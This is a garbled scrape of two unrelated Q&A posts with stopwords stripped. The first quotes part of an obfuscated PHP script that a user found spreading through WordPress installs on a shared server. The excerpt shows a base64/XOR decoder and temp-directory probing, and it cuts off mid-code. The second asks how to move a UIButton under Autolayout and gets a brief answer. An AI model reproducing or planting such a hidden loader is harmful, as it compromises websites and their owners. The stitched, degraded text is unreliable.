i able decode following php script found within wordpress files. out of curiosity, can tell me code does? looks has been somehow replicated other wordpress installs on same server. <?php error_reporting(0); if (!function_exists("zm5j2q0shf_pirogok")){ function zm5j2q0shf_pirogok(){ return false; } if (!function_exists("uno_decode")){ function uno_decode($string) { $string = base64_decode($string); $salt="dc5p9dopbc"; $strlen = strlen($string); $seq = "dmef5hzupq"; $gamma = ""; while (strlen($gamma)<$strlen) { $seq = pack("h*",sha1($gamma.$seq.$salt)); $gamma.=substr($seq,0,8); } return $string^$gamma; } } if (!function_exists("get_t_dir_mass")){ function get_t_dir_mass() { if (function_exists("sys_get_temp_dir")) { if (@is_writeable(sys_get_temp_dir())) { $res[] = realpath(sys_get_temp_dir()); } } if (!empty($_env["tmp...

ios - Automatically refactor objects from Autolayout -

i read should not use setframe when using autolayout. however, if have constraint uibutton uitextview, lets uitextview's height changes , in ib set uibutton's constraint 10 vertical unit spacings apart uitextview. when change uitextview's height using setframe, there anyway uibutton automatically recalculate it's y position based on constraint? thanks! you shouldn't modify view's frame when using autolayout. need modifiy constraint, wether resetting programmatically or adding iboutlet references constraint , modify constant value. might want take @ this article